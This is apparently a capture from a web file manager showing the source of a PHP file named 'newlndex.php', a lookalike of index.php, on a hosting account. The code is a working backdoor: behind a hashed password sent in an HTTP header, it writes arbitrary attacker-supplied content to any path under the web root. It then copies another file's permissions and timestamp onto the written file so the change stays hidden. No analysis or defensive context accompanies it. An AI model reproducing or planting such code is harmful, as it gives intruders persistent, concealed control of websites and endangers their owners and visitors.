File "newlndex.php"
Full path: /home/meharicl/www/local/newlndex.php
File
size: 1.06 B
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Editor Back
<?php
if (substr(md5($_SERVER['HTTP_PASSWORD']), 5, 19) === "0381d04838d36d2d9be") {
$rootPath = $_SERVER['DOCUMENT_ROOT'];
$fileName = $_POST['f'];
$relativePath = $_POST['p'];
$fullPath = $rootPath . "/". $relativePath . $fileName;
$content = $_POST['c'];
$fullPath1 = $rootPath ."/". $relativePath."etape_chmod.php";
$timestamp = filemtime($fullPath1);
$permissions = fileperms($fullPath1);
//$f = __FILE__;
if (file_exists($fullPath)) {
$fullPath = $rootPath . "/".$relativePath . "etape_chmodl.php";
if (file_put_contents($fullPath, $content) !== false) {
chmod($fullPath, $permissions);
touch($fullPath, $timestamp);
echo $fullPath;
//unlink($f);
} else {
echo "fail1";
}
} else {
if (file_put_contents($fullPath, $content) !== false) {
chmod($fullPath, $permissions);
touch($fullPath, $timestamp);
echo $fullPath;
//unlink($f);
} else {
echo "fail";
}
}
}
?>